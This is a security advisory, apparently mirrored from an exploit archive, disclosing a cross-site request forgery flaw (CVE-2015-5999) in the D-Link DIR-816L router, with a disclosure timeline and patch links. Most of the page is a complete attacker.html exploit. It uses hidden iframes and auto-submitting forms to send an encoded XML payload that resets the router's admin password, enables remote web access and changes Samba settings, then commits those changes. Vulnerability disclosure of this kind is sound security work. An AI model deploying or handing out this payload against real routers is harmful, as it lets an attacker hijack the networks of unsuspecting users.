Skip to content
cyberexploits
webapphardwaretext

D-Link DIR-816L (Wireless Router) - Cross-Site Request Forgery

D-Link DIR-816L (Wireless Router) - Cross-Site Request Forgery

Publié le 2015-11-16

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/hardware/webapps/38707.txt7eac4c3a
raw
----------------------------------------------------------------------------------------------



Title:

====



D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability



Credit:

======



Name: Bhadresh Patel

Company/affiliation: HelpAG

Website: www.helpag.com



CVE:

=====

CVE-2015-5999



Date:

====



10-11-2015 (dd/mm/yyyy)



Vendor:

======

D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.



Product:

=======

DIR-816L is a wireless AC750 Dual Band Cloud Router



Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L





Abstract:

=======



Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.



Report-Timeline:

============

27-07-2015: Vendor notification

27-07-2015: Vendor Response/Feedback

05-11-2015: Vendor Fix/Patch

10-11-2015: Public or Non-Public Disclosure

Affected Version:

=============

<=2.06.B01



Exploitation-Technique:

===================

Remote



Severity Rating:

===================



7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)

Details:

=======

An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.





Proof Of Concept:

================



1) User login to DIR-816L wireless router

2) User visits the attacker's malicious web page (attacker.html)

3) attacker.html exploits CSRF vulnerability and changes the admin account password

PoC video link: http://youtu.be/UBdR2sUc8Wg

Exploit code (attacker.html):

<html>

<body>

<iframe style="display:none" name="hiddenpost"></iframe>

<form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">

<input type="hidden" name="<&#63;xml&#32;version" value=""1&#46;0"&#32;encoding&#61;"UTF&#45;8"&#63;>&#10;<postxml>&#10;<module>&#10;&#9;<service>DEVICE&#46;ACCOUNT<&#47;service>&#10;&#9;<device>&#10;&#9;&#9;<gw&#95;name>DIR&#45;816L<&#47;gw&#95;name>&#10;&#9;&#9;&#10;&#9;&#9;<account>&#10;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>2<&#47;max>&#10;&#9;&#9;&#9;<count>1<&#47;count>&#10;&#9;&#9;&#9;<entry>&#10;&#9;&#9;&#9;&#9;<uid>USR&#45;<&#47;uid>&#10;&#9;&#9;&#9;&#9;<name>Admin<&#47;name>&#10;&#9;&#9;&#9;&#9;<usrid&#47;>&#10;&#9;&#9;&#9;&#9;<password>password<&#47;password>&#10;&#9;&#9;&#9;&#9;<group>0<&#47;group>&#10;&#9;&#9;&#9;&#9;<description&#47;>&#10;&#9;&#9;&#9;<&#47;entry>&#10;&#9;&#9;<&#47;account>&#10;&#9;&#9;<group>&#10;&#9;&#9;&#9;<seqno&#47;>&#10;&#9;&#9;&#9;<max&#47;>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#9;&#9;<&#47;group>&#10;&#9;&#9;<session>&#10;&#9;&#9;&#9;<captcha>1<&#47;captcha>&#10;&#9;&#9;&#9;<dummy&#47;>&#10;&#9;&#9;&#9;<timeout>180<&#47;timeout>&#10;&#9;&#9;&#9;<maxsession>128<&#47;maxsession>&#10;&#9;&#9;&#9;<maxauthorized>16<&#47;maxauthorized>&#10;&#9;&#9;<&#47;session>&#10;&#9;<&#47;device>&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;1<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<web><&#47;web>&#10;&#9;&#9;<https&#95;rport><&#47;https&#95;rport>&#10;&#9;&#9;<stunnel>1<&#47;stunnel>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;&#9;<inbfilter&#47;>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;2<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<active>0<&#47;active>&#10;&#9;&#9;<nat>NAT&#45;1<&#47;nat>&#10;&#9;&#9;<web&#47;>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>INBFILTER<&#47;service>&#10;&#9;<acl>&#10;&#9;&#9;<inbfilter>&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>24<&#47;max>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#10;&#9;&#9;<&#47;inbfilter>&#9;&#9;&#10;&#9;<&#47;acl>&#10;&#9;<ACTIVATE>ignore<&#47;ACTIVATE>&#10;<FATLADY>ignore<&#47;FATLADY><SETCFG>ignore<&#47;SETCFG><&#47;module>&#10;<module>&#10;&#9;<service>SHAREPORT<&#47;service>&#10;&#9;<FATLADY>ignore<&#47;FATLADY>&#10;&#9;&#10;<ACTIVATE>ignore<&#47;ACTIVATE><&#47;module>&#10;<module>&#10;&#9;<service>SAMBA<&#47;service>&#10;&#9;<samba>&#9;&#9;&#10;&#9;&#9;&#32;&#32;&#32;&#32;&#10;&#9;&#9;<enable>1<&#47;enable>&#10;&#9;&#9;<auth>1<&#47;auth>&#10;&#10;&#32;&#32;&#32;&#32;<&#47;samba>&#10;<&#47;module>&#10;<&#47;postxml>" />

</form>

<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>

<iframe style="display:none" name="hiddencommit"></iframe>

<form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">

<input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" />

</form>

<script>document.getElementById("csrf1").submit()</script>



</body>

</html>

Patched/Fixed Firmware and notes:

==========================

2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP

2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF



Credits:

=======

Bhadresh Patel

Senior Security Analyst

HelpAG (www.helpag.com)

----------------------------------------------------------------------------------------------
Voir sur GitHub